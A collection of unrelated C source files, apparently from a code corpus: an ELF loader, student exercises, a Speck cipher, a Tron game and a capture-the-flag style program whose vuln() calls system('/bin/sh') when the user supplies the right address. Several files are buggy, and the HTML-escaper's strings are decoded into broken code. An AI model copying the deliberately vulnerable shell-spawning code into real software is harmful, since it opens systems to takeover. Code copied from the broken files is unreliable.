Ipp64u edge;
/* check error(s) */
if (NULL == handle)
return NULL;
if (handle->address)
munmap(handle->address,handle->sizet);
edge = (*sizet) + (*offset);
(*offset) = ((Ipp64u)((*offset) / pagesize)) * pagesize;
handle->sizet = (*sizet) = edge - (*offset);
handle->address = mmap(0, *sizet, PROT_READ, MAP_SHARED, handle->fd, *offset);
return (handle->address == (void *)-1) ? NULL : handle[0].address;
}
/* Remove the mmap */
void vm_mmap_close(vm_mmap *handle)
{
/* check error(s) */
if (NULL == handle)
return;
if (handle->address)
{
munmap(handle->address, handle->sizet);
handle->address = NULL;
}
if (-1 != handle->fd)
{
close(handle->fd);
handle->fd= -1;
}
}
Ipp32u vm_mmap_get_page_size(void)
{
return getpagesize();
}
Ipp32u vm_mmap_get_alloc_granularity(void)
{
return 16 * getpagesize();
}
void vm_mmap_unmap(vm_mmap *handle)
{
/* check error(s) */
if (NULL == handle)
return;
if (handle->address)
{
munmap(handle->address, handle->sizet);
handle->address = NULL;
}
}
#endif
|
the_stack_data/45449182.c | #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <elf.h>
#include <sys/mman.h>
#if __has_attribute(__fallthrough__)
# define fallthrough __attribute__((__fallthrough__))
#else
# define fallthrough do {} while (0) /* fallthrough */
#endif
#define _dl_debug_printf printf
typedef void (*main_func) ();
main_func g_main = NULL;
/* We use this macro to refer to ELF types independent of the native wordsize.
`ElfW(TYPE)' is used in place of `Elf32_TYPE' or `Elf64_TYPE'. */
#define __ELF_NATIVE_CLASS 64
#define ElfW(type) _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t) _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t) e##w##t
struct elf_info {
Elf64_Ehdr *hdr;
Elf64_Shdr *sechdrs;
Elf64_Shdr *strhdr;
Elf64_Shdr *symsec;
char *secstrings;
char *strtab;
char *text_vhdr;
char *rodata_vhdr;
};
/*
* Generic 64bit nops from GAS:
*
* 1: nop
* 2: osp nop
* 3: nopl (%eax)
* 4: nopl 0x00(%eax)
* 5: nopl 0x00(%eax,%eax,1)
* 6: osp nopl 0x00(%eax,%eax,1)
* 7: nopl 0x00000000(%eax)
* 8: nopl 0x00000000(%eax,%eax,1)
*/
#define BYTES_NOP1 0x90
#define BYTES_NOP2 0x66,BYTES_NOP1
#define BYTES_NOP3 0x0f,0x1f,0x00
#define BYTES_NOP4 0x0f,0x1f,0x40,0x00
#define BYTES_NOP5 0x0f,0x1f,0x44,0x00,0x00
#define BYTES_NOP6 0x66,BYTES_NOP5
#define BYTES_NOP7 0x0f,0x1f,0x80,0x00,0x00,0x00,0x00
#define BYTES_NOP8 0x0f,0x1f,0x84,0x00,0x00,0x00,0x00,0x00
#define CALL_INSN_SIZE 5
#define CALL_INSN_OPCODE 0xE8
#define JMP32_INSN_SIZE 5
#define JMP32_INSN_OPCODE 0xE9
#define POKE_MAX_OPCODE_SIZE 10
union text_poke_insn {
unsigned char text[POKE_MAX_OPCODE_SIZE];
struct {
unsigned char opcode;
int disp;
} __attribute__ ((packed));
};
static int text_gen_insn(const unsigned char *loc, const void *dest)
{
union text_poke_insn *insn;
// ff 15 00 00 00 00 callq *0x00(%rip)
if ((*(unsigned char *)(loc - 2) == 0xff) && (*(unsigned char *)(loc - 1) == 0x15)) {
insn = (union text_poke_insn *)(loc - 2);
insn->opcode = CALL_INSN_OPCODE;
insn->disp = (unsigned long)dest - (unsigned long)(loc - 2 + CALL_INSN_SIZE);
insn->text[5] = BYTES_NOP1;
return 0;
}
}
static int rewrite_section_headers(struct elf_info *info)
{
unsigned int i;
Elf64_Ehdr *hdr = info->hdr;
Elf64_Shdr *sechdrs = info->sechdrs;
/* This should always be true, but let's be sure. */
sechdrs[0].sh_addr = 0;
for (i = 1; i < hdr->e_shnum; i++) {
Elf64_Shdr *shdr = &sechdrs[i];
shdr->sh_addr = (size_t) hdr + shdr->sh_offset;
}
return 0;
}
static int resolve_symbol(const char *name, Elf64_Addr * st_value)
{
// TODO
//dl_lookup_symbol_x(name, match, &ref, match->l_scope, vers, 0, flags | DL_LOOKUP_ADD_DEPENDENCY, NULL);
char buf[32] = {0};
for (int i = 0; ; i++) {
if (name[i] == '\0' || name[i] == '@')
break;
buf[i] = name[i];
}
*st_value = (Elf64_Addr) dlsym(RTLD_DEFAULT, buf);
_dl_debug_printf("symbol: 0x%016lx %s\n", (long)*st_value, name);
return 0;
}
static int simplify_symbols(struct elf_info *info)
{
char *strtab = info->strtab;
Elf64_Shdr *symsec = info->symsec;
Elf64_Sym *syms = (void *)symsec->sh_addr;
unsigned long secbase;
unsigned int i;
int ret = 0;
// .symtab
for (i = 1; i < symsec->sh_size / sizeof(Elf64_Sym); i++) {
Elf64_Sym *sym = syms + i;
const char *name = strtab + sym->st_name;
switch (sym->st_shndx) {
case SHN_COMMON:
case SHN_ABS:
/* Don't need to do anything */
break;
case SHN_UNDEF:
ret = resolve_symbol(name, &sym->st_value);
break;
default:
if ((ELF64_ST_TYPE(sym->st_info) == STT_SECTION) || (ELF64_ST_TYPE(sym->st_info) == STT_NOTYPE)) {
break;
}
// local ELF FUNC
if (ELF64_ST_TYPE(sym->st_info) == STT_FUNC) {
secbase = (unsigned long)info->text_vhdr;
}
// TODO: rodata
// local ELF OBJECT
if (ELF64_ST_TYPE(sym->st_info) == STT_OBJECT) {
secbase = (unsigned long)info->rodata_vhdr;
}
sym->st_value += secbase;
_dl_debug_printf("symbol: 0x%016lx %s 0x%x local\n", (long)sym->st_value, name, sym->st_info);
// for test
if (strcmp(name, "main") == 0) {
g_main = (main_func)sym->st_value;
}
break;
}
}
return ret;
}
static void relocate_rewrite_value(struct elf_info *info, Elf64_Rela *rel, void *loc)
{
unsigned long val;
// GOT data offset to elf hdr
val = *(int *)loc - rel->r_addend + rel->r_offset;
val = (unsigned long)info->rodata_vhdr + val;
val = val - (unsigned long)loc + rel->r_addend;
memcpy(loc, &val, 4);
}
static int apply_relocate_add(Elf64_Shdr *shdr, struct elf_info *info)
{
unsigned int i;
Elf64_Rela *rel_tab = (void *)shdr->sh_addr;
Elf64_Sym *sym;
char *loc;
int ret;
for (i = 0; i < shdr->sh_size / sizeof(Elf64_Rela); i++) {
Elf64_Rela *rel = rel_tab + i;
/* This is where to make the change */
loc = info->text_vhdr + rel->r_offset;
sym = (Elf64_Sym *)info->symsec->sh_addr + ELF64_R_SYM(rel->r_info);
_dl_debug_printf("type %02d st_value %016lx r_addend %lx loc %lx\n", (int)ELF64_R_TYPE(rel->r_info), sym->st_value,
rel->r_addend, (unsigned long)loc);
switch (ELF64_R_TYPE(rel->r_info)) {
case R_X86_64_NONE:
case R_X86_64_PLT32:
break;
case R_X86_64_GOTPCRELX:
// ff 15 00 00 00 00 callq *0x00(%rip)
ret = text_gen_insn(loc, (const void *)sym->st_value);
if (ret == 0)
break;
// 48 83 3d d2 fe 5f 00 cmpq $0x0,0x5ffed2(%rip)
relocate_rewrite_value(info, rel, loc);
break;
case R_X86_64_PC32:
// SHN_COMMON STT_FUNC no need reloc
if (ELF64_ST_TYPE(sym->st_info) == STT_FUNC)
break;
// STT_OBJECT
// TODO: direct mov, do not use lea
fallthrough;
case R_X86_64_GOTPCREL:
case R_X86_64_REX_GOTPCRELX:
// sym may not exist, change data offset
relocate_rewrite_value(info, rel, loc);
break;
default:
_dl_debug_printf("invalid relocation target, type %d, loc 0x%lx\n",
(int)ELF64_R_TYPE(rel->r_info), (unsigned long)loc);
return -1;
}
}
return 0;
}
static int apply_relocations(struct elf_info *info)
{
Elf64_Shdr *sechdrs = info->sechdrs;
char *secstrings = info->secstrings;
unsigned int shnum = info->hdr->e_shnum;
unsigned int i;
int err = 0;
for (i = 1; i < shnum; i++) {
Elf64_Shdr *shdr = &sechdrs[i];
/* Not a valid relocation section? */
if (shdr->sh_info >= shnum)
continue;
if (shdr->sh_type == SHT_RELA) {
const char *name = secstrings + shdr->sh_name;
if ((strcmp(name, ".rela.text") != 0) && (strcmp(name, ".rela.init") != 0))
continue;
_dl_debug_printf("relocation %s\n", name);
err = apply_relocate_add(shdr, info);
}
if (err < 0)
break;
}
return err;
}
static int read_elf_info(int fd, struct elf_info *info)
{
int ret;
unsigned int i;
unsigned int index_str;
Elf64_Ehdr *hdr = NULL;
Elf64_Shdr *sechdrs = NULL;
Elf64_Shdr *strhdr;
void *buf;
ret = lseek(fd, 0, SEEK_END);
buf = mmap(0, ret, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0);
_dl_debug_printf("ELF len %d, buf addr 0x%08lx\n", ret, (unsigned long)buf);
hdr = (Elf64_Ehdr *)buf;
sechdrs = (Elf64_Shdr *)((char *)hdr + hdr->e_shoff);
// session header name string table
strhdr = &sechdrs[hdr->e_shstrndx];
info->secstrings = (char *)hdr + strhdr->sh_offset;
// .symtab
for (i = 1; i < hdr->e_shnum; i++) {
if (sechdrs[i].sh_type == SHT_SYMTAB) {
info->symsec = &sechdrs[i];
index_str = sechdrs[i].sh_link;
info->strtab = (char *)hdr + sechdrs[index_str].sh_offset;
break;
}
}
info->hdr = hdr;
info->sechdrs = sechdrs;
info->strhdr = strhdr;
return 0;
}
int main(void)
{
char *text_layout;
char *rodata_layout;
struct elf_info info_buf = {0};
struct elf_info *info = &info_buf;
int fd = open("test_rela", O_RDONLY);
int i;
Elf64_Phdr *elf_ppnt, *elf_phdata;
char *load_addr;
text_layout = (char *) mmap(0, 0x40000000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
rodata_layout = (char *) mmap(0, 0x40000000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
read_elf_info(fd, info);
// load elf
load_addr = (void*)info->hdr;
elf_phdata = (Elf64_Phdr *)(load_addr + info->hdr->e_phoff);
for (i = 0, elf_ppnt = elf_phdata; i < info->hdr->e_phnum; i++, elf_ppnt++) {
if (elf_ppnt->p_type != PT_LOAD)
continue;
// skip first LOAD segment
elf_ppnt++;
// text
info->text_vhdr = text_layout - elf_ppnt->p_offset;
memcpy((void*)text_layout, load_addr + elf_ppnt->p_offset, elf_ppnt->p_filesz);
// rodata
elf_ppnt++;
info->rodata_vhdr = rodata_layout - elf_ppnt->p_offset;
memcpy((void*)rodata_layout, load_addr + elf_ppnt->p_offset, elf_ppnt->p_filesz);
memset((void*)(rodata_layout + elf_ppnt->p_filesz), 0, elf_ppnt->p_memsz - elf_ppnt->p_filesz);
// data
elf_ppnt++;
char *data_begin = rodata_layout + (elf_ppnt->p_paddr - (elf_ppnt - 1)->p_paddr);
memcpy(data_begin, load_addr + elf_ppnt->p_offset, elf_ppnt->p_filesz);
memset(data_begin + elf_ppnt->p_filesz, 0, elf_ppnt->p_memsz - elf_ppnt->p_filesz);
break;
}
rewrite_section_headers(info);
simplify_symbols(info);
apply_relocations(info);
// run
_dl_debug_printf("text: 0x%016lx rodata: 0x%016lx \n", (unsigned long)info->text_vhdr, (unsigned long)info->rodata_vhdr);
_dl_debug_printf("begin run 0x%016lx\n", (unsigned long)g_main);
g_main();
_dl_debug_printf("run OK\n");
return 0;
}
|
the_stack_data/206393083.c | #include <stdio.h>
#include <string.h>
int main(void) {
int vetor[10] = {0};
for (int i = 0; i < 10; i++) printf("%d", vetor[i]);
for (int i = 0; i < 10; i++) vetor[i] = 1;
for (int i = 0; i < 10; i++) printf("%d", vetor[i]);
memset(vetor, 0, sizeof(vetor));
for (int i = 0; i < 10; i++) printf("%d", vetor[i]);
}
//https://pt.stackoverflow.com/q/55628/101
|
the_stack_data/18888402.c | /*Write a function is_palindrome which takes a string as argument and returns 1 if True,0 if False.*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int top= -1, front= 0;
char string[50];
void push(char );
char pop(void);
int is_palindrome(void);
int main()
{
int result = 0;
printf("\nEnter an expression :\t");
scanf("%s", string);
result = is_palindrome();
if(result != 0)
printf("\n%s is not palindrome..\n", string);
else
printf("\n%s is palindrome..\n", string);
return 0;
}
int is_palindrome(void)
{
int i, length=0, flag=0, result = 0;
char string_rev[50];
length = strlen(string);
for(i=0; i<length; i++)
push(string[i]);
for(i=0; i<length; i++)
string_rev[i] = pop();
result = strcmp(string_rev,string);
if(result)
return 1;
else
return 0;
}
void push(char ch)
{
if(top == 50)
{
printf("\nError: stack overflow..\n");
exit(1);
}
top++;
string[top] = ch;
}
char pop(void)
{
if(top == -1)
{
printf("\nError: No element to pop ..\n");
return 0;
}
return (string[top--]);
}
|
the_stack_data/111870.c | #include <stdio.h>
#include <stdlib.h>
int main(int argc, char** argv){
if (argc != 2) {
printf("Nombre de parametres insuffisant\n");
return 1;
}
unsigned long ul;
unsigned long ip1, ip2, ip3, ip4;
unsigned long mask, temp;
mask = 0xFF000000;
ul = strtoul(argv[1], NULL, 0);
//printf("%lu",ul);
temp = ul;
ip1 = temp >> 24;
mask = 0x000000FF;
temp = ul;
ip2 = (temp >> 16) & mask;
mask = 0x0000FF00;
ip3 = ul & mask;
mask = 1023;
mask = 0x000000FF;
ip4 = ul & mask;
printf("%lu.%lu.%lu.%lu",ip1,ip2,ip3,ip4);
return 0;
}
|
the_stack_data/103265814.c | #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char str_head[] = "Please input '";
char binsh[] = "/bin/sh";
char str_tail[] = "' address as a hex number: ";
void init();
void vuln()
{
char name[0x20];
unsigned long int val;
char *p;
int ret;
write(0, str_head, strlen(str_head));
write(0, binsh, strlen(binsh));
write(0, str_tail, strlen(str_tail));
ret = read(0, name, 0x20);
name[ret - 1] = 0;
val = strtol(name, NULL, 16);
printf("Your input address is 0x%lx.\n", val);
p = (char *) val;
if(p == binsh){
puts("Congratulation!");
system(p);
exit(0);
}else{
puts("You are wrong.\n\n");
}
}
int main()
{
init();
printf("The address of \"%s\" is 0x%lx.\n", str_head, (unsigned long int) str_head);
while (1)
{
vuln();
}
}
void init()
{
alarm(30);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
|
the_stack_data/20449571.c | //Classification: #format_error/n/IVO/FM/aS/scanf/int/string
//Written by: Igor Eremeev
//Reviewed by: Sergey Pomelov
//Comment:
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char c[31];
scanf ("%d", &c);
printf("%c",c[0]);
return 0;
}
|
the_stack_data/518058.c | #include <stdio.h>
int
main()
{
int c;
while ((c = getc(stdin)) != EOF) {
switch (c) {
case '<': printf("<"); break;
case '>': printf(">"); break;
case '"': printf("""); break;
case '&': printf("&"); break;
case '\'': printf("'"); break;
default: putc(c,stdout); break;
}
}
return 0;
}
|
the_stack_data/14200927.c | #include<stdio.h>
void main()
{
char yesno='Y';
while(yesno=='Y' || yesno=='y')
{
int math,eng,sci,hind,eco;
int total=0;
float avg;
do
{
printf("* Enter Your Maths Marks *\n");
scanf("%d",&math);
}
while(math<0 || math>100);
do
{
printf("* Enter Your English Marks *\n");
scanf("%d",&eng);
}
while(eng<0 || eng>100);
do
{
printf("* Enter Your Science Marks *\n");
scanf("%d",&sci);
}
while(sci<0 || sci>100);
do
{
printf("* Enter Your Hindi Marks *\n");
scanf("%d",&hind);
}
while(hind<0 || hind>100);
do
{
printf("* Enter Your Economics Marks *\n");
scanf("%d",&eco);
}
while(eco<0 || eco>100);
total=math+eng+sci+hind+eco;
avg=total/5.0;
printf("* Your Total Is %d *\n",total);
printf("* Your Average Marks Are %f *\n",avg);
if(avg>=0 && avg<=100)
{
if(avg>80)
{
printf("* Grade A *");
}
else if(avg>50)
{
printf("* Grade B *");
}
else if(avg>35)
{
printf("* Grade C *");
}
else
{
printf("* FAIL *");
}
}
else
{
printf("* INVALID CHOICE *");
}
printf("\n Press Y To Continue \n");
fflush(stdin);
scanf("%c",&yesno);
}
}
|
the_stack_data/71783.c | #include<stdio.h>
#include<pthread.h>
#include<stdlib.h>
void *print_message_function( void *ptr );
int main()
{
pthread_t t1,t2;
char *message1 = "Hello";
char *message2 = "World";
int iret1,iret2;
iret1 = pthread_create( &t1, NULL, print_message_function, (void*) message1);
iret2 = pthread_create( &t2, NULL, print_message_function, (void*) message2);
/* pthread_detach(t1);
pthread_detach(t2);*/
pthread_join( t1, NULL);
pthread_join( t2, NULL);
printf("Thread 1 returns: %d\n",iret1);
printf("Thread 2 returns: %d\n",iret2);
exit(0);
return 0;
}
void *print_message_function( void *ptr )
{
char *message;
message = (char *) ptr;
printf("%s \n", message);
}
|
the_stack_data/247016838.c | /* Functions like isupper can be implemented to save space or to save time
* Explore both possibilites
*
* created by Anvesh G. Jhuboo
* on Feb/20/2021
*/
/* If implemented as a function, it saves space */
int isupper(char c)
{
if (c >= 'A' && c <= 'Z')
return 1; /* True */
else
return 0; /* False */
}
/* If implemented as a macro, it saves time because there is no overhead
* of the function call but it uses more space, because the macro is
* expanded in line every time it is invoked */
#define isupper(c) ((c) >= 'A' && (c) <= 'Z') ? 1 : 0
/* This can lead to the potential probelm that the argument is evaluated
* twice when increments are used
* So it is important to be aware of that */
|
the_stack_data/396822.c | #include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <ctype.h>
#include <stdlib.h>
#define BUF_SIZE (32)
void readBuf(char *file_name)
{
char buf[BUF_SIZE] = {0};
char tmp_buf[3] = {0};
int rval = 0;
int i = 0;
int j = 0;
int fd = open(file_name, O_RDONLY);
if (fd == -1) {
printf("%s\n", strerror(errno));
goto boil_out;
}
/* Read buf until EOF */
while (1) {
/* Let's read */
rval = read(fd, tmp_buf, 2);
if (rval <= 0) {
printf("%s\n", rval == 0 ? "End of file" : strerror(errno));
if (rval == 0) {
break;
}
goto boil_out;
}
/* Validate chars and convert */
if (tmp_buf[0] != '\n' && !(isxdigit(tmp_buf[0]) && isxdigit(tmp_buf[1]))) {
printf("only hex character are allowed:%c, %c\n", tmp_buf[0], tmp_buf[1]);
goto boil_out;
}
buf[i++] = (char) strtol(tmp_buf, NULL, 16);
}
/* Dump buffer */
for (i = 0; i < BUF_SIZE/8; i++) {
for (j = 0; j < 8; j++) {
printf("%c", isxdigit(buf[i * 8 + j])? buf[i * 8 + j]: '.');
}
for (j = 0; j < 8; j++) {
printf(" %.2x", buf[i * 8 + j]);
}
printf("\n");
}
boil_out:
if (fd) {
close(fd);
}
}
void hello()
{
printf("Hello world\n");
}
int main(int argc, char **argv)
{
/* Check argument */
if (argc != 2) {
printf("%s input_file_name\n", argv[0]);
printf("input file name contains 32 2-digit hex chars. ex:\n");
printf("0102030405060708091011121314151617181920212223242526272829303132\n");
return 2;
}
/* Read data */
readBuf(argv[1]);
return 0;
}
|
the_stack_data/156389183.c | /*
* Exercise 2-7
*
* Write a function invert(x,p,n) that returns x with the n bits that begin
* at position p inverted, leaving the others unchanged.
*/
#include <stdio.h>
unsigned invert(unsigned x, unsigned p, unsigned n);
int main()
{
unsigned x1 = 15;
unsigned x2 = 10;
unsigned x3 = 99;
printf("%d\n", invert(x1, 2, 1));
printf("%d\n", invert(x2, 1, 2));
printf("%d\n", invert(x3, 7, 8));
}
unsigned invert(unsigned x, unsigned p, unsigned n)
{
return (x&~(~(~0<<n)<<(p+1-n))) | (((~x>>(p+1-n))&~(~0<<n))<<(p+1-n));
}
|
the_stack_data/22013141.c | #include <stdio.h>
void main(void){
FILE *gnuplot = popen("gnuplot -persist","w");
fprintf(gnuplot,"unset label\n");
fprintf(gnuplot,"set terminal 'epslatex'\n");
fprintf(gnuplot,"set output 'graficazoom.tex'\n");
fprintf(gnuplot,"set xrange [0:2]\n");
fprintf(gnuplot,"set yrange [-0.5:0.5]\n");
fprintf(gnuplot,"set title 'Gráfica de la función'\n");
fprintf(gnuplot,"set xlabel 'x'\n");
fprintf(gnuplot,"set ylabel 'f(x)'\n");
fprintf(gnuplot,"set grid\n");
fprintf(gnuplot,"unset key\n");
fprintf(gnuplot,"f(x)=exp(-0.5*x**2)-0.5\n");
fprintf(gnuplot,"unset key\n");
fprintf(gnuplot,"plot f(x)\n");
fprintf(gnuplot, "set output\n");
pclose(gnuplot);
} |
the_stack_data/151705804.c | /* This program is designed to use two seperate functions
to calculate area of a circle and square by pass by reference
Name: Robert Eviston
Date: 20/02/2014
*/
#include <stdio.h>
#define PI 3.14
float circle (float*, float*); // Declare circle function
float square (float*, float*); // Declare square function
main()
{
float len_sqr = 0; // variable for size of lentgh of square
float rad_cir = 0; // variable for size of radius of circle
float ans_sqr; // area of square
float ans_cir; // area of circle
printf("Please enter the lentgh of the side of the square\n");
scanf("%f", &len_sqr);
printf("\nNow please enter the radius of the circle\n");
scanf("%f", &rad_cir);
flushall();
square(&len_sqr, &ans_sqr);
circle(&rad_cir, &ans_cir); //call functions
printf("\nThe area of the square is %.2f", ans_sqr); // displays answers
printf("\nThe area of the circle is %.2f", ans_cir); // displays answers
getchar();
} // end main()
float circle(float *sqr_len, float *sqr_ans)
{
*sqr_ans = (*sqr_len * *sqr_len);
return(*sqr_ans);
} // end circle()
float square(float *cir_rad, float *cir_ans)
{
*cir_ans = ((*cir_rad * *cir_rad) * PI);
return(*cir_ans);
} // end square()
|
the_stack_data/1171965.c | #include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <syscall.h>
//block size in bytes, key size is assumed to be the same
#define BLOCK_SIZE 16
#define ROR(x, r) ((x >> r) | (x << (64 - r)))
#define ROL(x, r) ((x << r) | (x >> (64 - r)))
#define R(x, y, k) (x = ROR(x, 8), x += y, x ^= k, y = ROL(y, 3), y ^= x)
#define ROUNDS 32
/**
* pt: plaintext
* ct: ciphertext
* k: key
* we assume that input arrays are of length 2 so we get 128 bits
* Should generate the key on the fly, just for simplicity sake
* Better performance can be had by computing round keys once.
* This function is obtained from the following paper, https://eprint.iacr.org/2013/404
*/
void speck_encrypt(uint64_t ct[2], uint64_t const pt[2], uint64_t const K[2])
{
uint64_t y = pt[0], x = pt[1], b = K[0], a = K[1];
R(x, y, b);
for (int i = 0; i < ROUNDS - 1; i++) {
R(a, b, i);
R(x, y, b);
}
ct[0] = y;
ct[1] = x;
}
/**
* output_length: size of the output block
* output_block: destination for pseudorandom bits
* seed: a 128 bit random number
* Generate a block of random bytes given a key (seed) by running speck in counter mode
* block input should be aligned to 128 bit (16 byte) boundaries
* We assume a length of 16 bytes (128 bits) for the seed.
*/
void generate_block_ctr(size_t output_length, uint8_t *output_block, uint8_t *seed){
uint32_t rounds = output_length/BLOCK_SIZE;
uint64_t i, ctr[2], key[2], output[2];
uint64_t j = 0;
if(output_length % BLOCK_SIZE != 0){
printf("Not aligned to 128 bit boundary\n");
}
key[0] = ((uint64_t *)seed)[0];
key[1] = ((uint64_t *)seed)[1];
ctr[0] = 0;
ctr[1] = 0;
for(i = 0; i < rounds; i++){
speck_encrypt(output, ctr, key);
((uint64_t *)output_block)[j + 1] = output[1];
((uint64_t *)output_block)[j + 0] = output[0];
ctr[0]++;
if(ctr[0] == 0) ctr[1]++;
j += 2;
}
}
/**
* Get a random 128 bit number as our key/seed
* This must be from a cryptographically secure RNG
*/
uint64_t * get_seed_64(){
static uint64_t random[2];
syscall(SYS_getrandom, random, 16, 0);
return random;
}
void speck_128_hash(uint8_t *data, size_t data_length, uint8_t* hash){
uint64_t seed[2] = {0,0};
uint32_t rounds = data_length/BLOCK_SIZE;
uint64_t i, j, ctr[2], temp[2];
j = 0;
ctr[0] = 0;
ctr[1] = 0;
memset(hash, 0, 16);
for(i = 0; i < rounds; i++){
temp[0] = ((uint64_t *)data)[j + 0];
temp[1] = ((uint64_t *)data)[j + 1];
speck_encrypt(temp, ctr, seed);
((uint64_t*)hash)[0] ^= temp[0];
((uint64_t*)hash)[1] ^= temp[1];
ctr[0]++;
if(ctr[0] == 0) ctr[1]++;
j += 2;
}
}
|
the_stack_data/48201.c | //*****************************************************************************
// TITLE: Tron
//
// NAME: Andrew Lundholm, Jiayu Wang
// LAB SECTION: 303
// LAB DAY: Tuesday Afternoon
//
// CLASS: ECE 210
// DATE: Spring 2016
// DUE: May 3rd
// DESCRIPTION: Tron Light Cycle Game
//*****************************************************************************
/* Initialization Functions */
void LEDBARInit(void);
void DIPSWInit(void);
void PBSwInit(void);
void RGB_LEDInit(void);
void sysTickInit(void);
/* Inputs, outputs, and wait timers */
int read_PBSwitchNum(int SwitchNumber);
int read_PBSwitches(void);
int read_Switches(void);
void LEDBAROutput(int value);
void turnOn(char color);
void turnOff(char color);
void potentiometersInit(void);
int readPotentiometer0(void);
int readPotentiometer1(void);
int readPotentiometer2(void);
void sysTickWait1mS(int waitTime);
void RIT128x96x4Init(int freq);
void RIT128x96x4Clear(void);
void RIT128x96x4StringDraw(const char* letter, int xx, int yy, int intensity);
void RIT128x96x4ImageDraw(const char* image, int x, int y, int width, int len);
char* convert(int baudotCode);
void waitForButtonPress(void);
int updatePlayerDir(int currDir);
const char DOT[96] = {255,255};
//*****************************************************************************
//
// Main Application:
//
//*****************************************************************************
//Define variables
//2D array 128 by 96
int grid[48][96];
//x,y coords of CPU and Player
int cpuX;
int cpuY;
int playerX;
int playerY;
//Current direction for both cpu and user (0-left, 1 -up, 2-right, 3 - down)
int cpuDir;
int playerDir;
int oldPalyerDir;
long x;
int i;
//Display title screen
int progress = 0;
int
main(void)
{
/* Initialization Functions */
//Section to initialize switches and displays
//Initialize display
//used for system clock
//Initialize Buttons
LEDBARInit();
DIPSWInit();
PBSwInit();
RGB_LEDInit();
sysTickInit();
// potentiometersInit();
RIT128x96x4Init(1000000);
RGB_LEDInit();
potentiometersInit();
RIT128x96x4Clear();
while(1){
RIT128x96x4StringDraw("Tron", 52, 44, 15);
RIT128x96x4StringDraw("press button to start", 1, 52, 15);
//char is 6 wide by 8 tall, Tron = 24w, 8h
//res 128 by 96
waitForButtonPress();
RIT128x96x4Clear();
//Display instructions
//40 chars will fill the screen
RIT128x96x4StringDraw("Navigate your", 0, 0, 15);
RIT128x96x4StringDraw("lightcycle and avoid", 0, 8, 15);
RIT128x96x4StringDraw("touching the paths", 0, 16, 15);
RIT128x96x4StringDraw("First player to be", 0, 24, 15);
RIT128x96x4StringDraw("trapped by a trail", 0, 32, 15);
RIT128x96x4StringDraw("will be derezzed-lose", 0, 40, 15);
sysTickWait1mS(500);
waitForButtonPress();
RIT128x96x4Clear();
//Reset variables to initial state
cpuX = 20;
cpuY = 48;
playerX = 106;
playerY = 48;
cpuDir = 2;
playerDir = 0;
RIT128x96x4StringDraw("CPU", 0, 40, 15);
RIT128x96x4ImageDraw(DOT, cpuX, cpuY, 2, 2);
RIT128x96x4StringDraw("YOU", 108, 40, 15);
RIT128x96x4ImageDraw(DOT, playerX, playerY, 2, 2);
RIT128x96x4StringDraw("3", 61, 44, 15);
sysTickWait1mS(1000);
RIT128x96x4StringDraw("2", 61, 44, 15);
sysTickWait1mS(1000);
RIT128x96x4StringDraw("1", 61, 44, 15);
sysTickWait1mS(1000);
RIT128x96x4StringDraw(" ", 61, 44, 15);
RIT128x96x4StringDraw(" ", 108, 40, 15);
RIT128x96x4StringDraw(" ", 0, 40, 15);
progress = 0;
while(progress == 0){
RIT128x96x4ImageDraw(DOT, cpuX, cpuY, 2, 2);
RIT128x96x4ImageDraw(DOT, playerX, playerY, 2, 2);
cpuX+=2;
oldPalyerDir = playerDir;
for(i=0; i < 100000; i++){
playerDir = updatePlayerDir(oldPalyerDir);
}
if(playerDir == 0){
playerX-=2;
}else if(playerDir == 1){
playerY-=2;
}else if(playerDir == 2){
playerX+=2;
}else{
playerY+=2;
}
if(playerX < 0 || playerX > 128 || playerY > 96 || playerY < 0){
progress = 1;
}
}
RIT128x96x4Clear();
if(progress == 1){
RIT128x96x4StringDraw("YOU LOSE", 40, 44, 15);
}else{
RIT128x96x4StringDraw("YOU WIN", 43, 44, 15);
}
RIT128x96x4StringDraw("press button to start", 1, 52, 15);
waitForButtonPress();
}
}
void waitForButtonPress(){
int progress1 = read_PBSwitchNum(1);
int progress2 = read_PBSwitchNum(2);
int progress3 = read_PBSwitchNum(3);
while((progress1 != 0x0) && (progress2 != 0x0) && (progress3 != 0x0))
{
//start on any button press
progress1 = read_PBSwitchNum(1);
progress2 = read_PBSwitchNum(2);
progress3 = read_PBSwitchNum(3);
}
}
int updatePlayerDir(int currDir){
int progress1 = read_PBSwitches();
if(progress1 == 2 || progress1 == 0){
//don't do anything
}else if((progress1 == 3)||(progress1 == 1)){
currDir = currDir +1;
currDir = currDir%4;
}else if((progress1 == 6)||(progress1 == 4)){
currDir = currDir -1;
currDir = currDir%4;
}
return currDir;
}
|
the_stack_data/141438.c | /* rmdir.c -- BSD compatible remove directory function for System V
Copyright (C) 1988, 1990 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#ifndef errno
extern int errno;
#endif
#ifdef STAT_MACROS_BROKEN
#undef S_ISDIR
#endif
#if !defined(S_ISDIR) && defined(S_IFDIR)
#define S_ISDIR(m) (((m) & S_IFMT) == S_IFDIR)
#endif
